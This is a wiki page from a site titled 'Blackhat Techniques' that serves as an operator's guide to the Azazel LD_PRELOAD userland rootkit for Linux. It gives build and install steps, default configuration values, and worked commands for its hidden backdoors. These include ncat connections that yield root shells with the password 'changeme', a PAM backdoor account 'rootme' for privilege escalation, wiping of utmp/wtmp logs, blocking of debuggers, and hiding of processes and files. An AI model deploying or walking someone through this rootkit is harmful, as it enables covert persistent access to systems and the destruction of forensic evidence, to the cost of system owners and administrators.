Azazel

From Security101 - Blackhat Techniques - Hacking Tutorials - Vulnerability Research - Security Tools

Azazel is a userland rootkit written in C based off of the original LD_PRELOAD technique from Jynx rootkit. It is more robust and has additional features, and focuses heavily around *anti-debugging* and *anti-detection*. Features include log cleaning, pcap subversion, and more.

Contents

Disclaimer

It is a crime to use techniques or tools on this page against any system without written authorization unless the system in question belongs to you

Features

- Anti-debugging
- Avoids unhide, lsof, ps, ldd detection
- Hides files and directories
- Hides remote connections
- Hides processes
- Hides logins
- PCAP hooks avoid local sniffing
- Two accept backdoors with full PTY shells.
    - Crypthook encrypted accept() backdoor
    - Plaintext accept() backdoor
- PAM backdoor for local privesc and remote entry
- Log cleanup for utmp/wtmp entries based on pty
- Uses xor to obfuscate static strings

Latest Source

- Clone the sources

Terminal

localhost:~ $ **git clone https://github.com /chokepoint/azazel.git**

- Build the rootkit

Terminal

localhost:~ $ **make**

Running "make install" will inject the live kit into your system. While removal is not impossible, it's an unnecessary and painful procedure, not to mention you may forget to remove it.

Hooking Methods

Azazel utilizes the same hooking methods as Jynx/Jynx2. You can hook individual programs at the time of execution by taking advantage of the LD_PRELOAD variable. By default, Azazel installs itself as **libselinux.so** into */lib*. An entry is then added to */etc/ld.so.preload* in order to hook system wide dynamically compiled programs.

- Example runtime hooking of bash.

Terminal

localhost:~ $ **LD_PRELOAD=/lib/libselinux.so bash -l**

Instead of dlsym'ing direct libc functions by globally declaring old_syscall, Azazel has a new structure in azazel.h named syscall_list. This allows all of the required functions to be linked upon initiation of the library. Syscall function names are XORed by config.py and written to const.h. Original libc functions can be accessed by using the preprocessor definitions also in const.h. Each definition has a prefix of SYS_name_of_function_in_caps. For example to call libc's version of fopen, you would use **syscalls[SYS_FOPEN].syscall_func();**

```
typedef struct struct_syscalls {
        char syscall_name[51];
        void *(*syscall_func)();
} s_syscalls;
```

Configuration

All variables that require changing prior to deployment are located

near the top of config.py. Variable data is ciphered using an XOR key in order to not expose them to dumping programs like "strings." See below for a list of variables and their associated purpose.

The rootkit will hide all TCP/IP connections within these HIGH and LOW port ranges. These ranges are used to not only hide from netstat/lsof, but also to hide from sniffing using libpcap.

Numeric

Variable(s)	Description	Default
LOW_PORT / HIGH_PORT	Ports used to trigger full PTY plaintext backdoor.	61040 - 61050
CRYPT_LOW / CRYPT_HIGH	Ports used to trigger full PTY crypthook backdoor.	61051 - 61060
PAM_PORT	Also hides this port but doesn't trigger accept backdoor.	61061
SHELL_MSG	Display this string to users once they get a shell	Welcome
SHELL_PASSWD	Shell password for both plaintext and crypthook backdoors	changeme
SHELL_TYPE	Use this shell for accept() backdoors.	/bin/bash
MAGIC_STRING	Hide any files with this string in the file name.	—
BLIND_LOGIN	Fake user account used to activate the PAM backdoor.	rootme
ANTI_DEBUG_MSG	Display this message to the sys admin if they try to ptrace	Don't scratch the walls.
CLEANUP_LOGS	If this environment var is set to a valid pts, then cleanup utmp/wtmp logs for that pts.	CLEANUP_LOGS

- The following variables are specifically included for the crypthook backdoor.

Numeric

Variable(s)	Description	Default
PASSPHRASE	This key is used for encryption / decryption of sessions	Hello NSA
KEY_SALT	Key salt used for key derivation.	changeme

Backdoor Examples

For each of these examples we are assuming that sshd is hooked with azazel and able to trigger any of the three operational backdoors.

Plaintext backdoor

We need to set the local port to something within the ranges of **LOW_PORT** and **HIGH_PORT** as configured above. This not only ensures that the connection will be hidden from local sniffing and detection, but it also triggers a full PTY interactive shell upon entering the correct password. The local port can be set using ncat's -p option. Upon successfuly connecting to the remote daemon, the first line you enter should be the **SHELL_PASSWD** that you created.

```
$ ncat target 22 -p 61040
changeme
Welcome!
Here's a shell.
root@host:/root #
```

Crypthook backdoor

Triggering the Crypthook backdoor is similar to the plain text backdoor, but we need to speak the same protocol. Crypthook is an AES encryption wrapper for TCP/UDP connections and can be downloaded from here. The Crypthook relies on preload hooking as well, and can be used with netcat by utilizing **LD_PRELOAD** environment variable.

```
$ LD_PRELOAD=./crypthook.so ncat localhost 22 -p 61051
changeme
Welcome!
Here's a shell.
root@host:/root/ #
```

PAM backdoor

The PAM hooks work by waiting for the specified fake user to attempt a connection. The hooks return the pw entry for root and accept any password to establish a successful login. Since this method would generally be used with sshd, the connection will not be hidden unless you can force ssh client to bind to a local port within one of the port ranges. Another client shared library has been included to force a program to bind to a port that we'd like to hide.

```
$ make client
$ LD_PRELOAD=./client.so ssh rootme@localhost
root@host:/ #
```

- The PAM hooks can also be used for local privesc.

```
$ su - rootme
#
```

Log Clearing

Log clearing can be accomplished by setting the environment variable to the tty/pts device that you want to remove from the records and then executing a command. When accessing the target system using either of the accept backdoors, the given pseudoterminal is automatically removed from both utmp and wtmp log files. However, if you need to use the PAM backdoor through SSH, you will need to manually remove your pts from the logs as demonstrated below.

```
$ w | grep pts/16
root   pts/16   :0.0              Wed16    2:33m  0.16s  0
```

```
$ CLEANUP_LOGS="pts/16" ls
utmp logs cleaned up.
wtmp logs cleaned up.
```

```
$ w | grep pts/16
$
```

Anti-Debugging

Azazel hooks **ptrace()** and returns -1, hence denying any debugging from occuring. The message displayed to the sysadmin is really more of a joke than anything and will definitely set off alarms that something is wrong.

```
$ strace -p $PPID
Don't scratch the walls
```

This works on any userland debugger (ltrace, strace, gdb, ftrace). This hook could be easily extended to hide specific information should you desire to do so.

Process Hiding

Jynx/Jynx2 relied on a specified GID in order to hide processes and files. There are some obvious problems with using this method, so Azazel addresses this by again using environment variables to mask any processes that may give away our presence. The variable can also be configured inside of **config.py**, but defaults to **HIDE_THIS_SHELL**.

```
$ env HIDE_THIS_SHELL=plz ncat -l -p 61061
```

When this environment variable is set, the process is able to see files and processes hidden by the rootkit. This is important for the PAM hook. Because PAM invokes bash on its own, you have to use this environment variable to access hidden files.

Preliminary ldd/unhide obfuscation

Azazel avoids detection from ldd and unhide by selectively NOT hooking those two programs. Once the programs are done, azazel continues hooking programs as normal. This opens up a window for removing the offending library, but at this point it is better than completely revealing the kit. The next release will include a more advanced anti-debug / ldd/unhide obfuscation.

Removal

To remove Azazel, the best course of action is to boot into a livecd, mount your bootable hard drive, and delete the /etc/ld_preload.so file from the partition.

Related

- Linux
- LD_PRELOAD
- C
- CryptHook (http://www.chokepoint.net/2013/09/crypthook-secure-tcpudp-connection.html)
- Jynx
- Hooking PAM

- This page was last modified on 14 February 2014, at 02:34.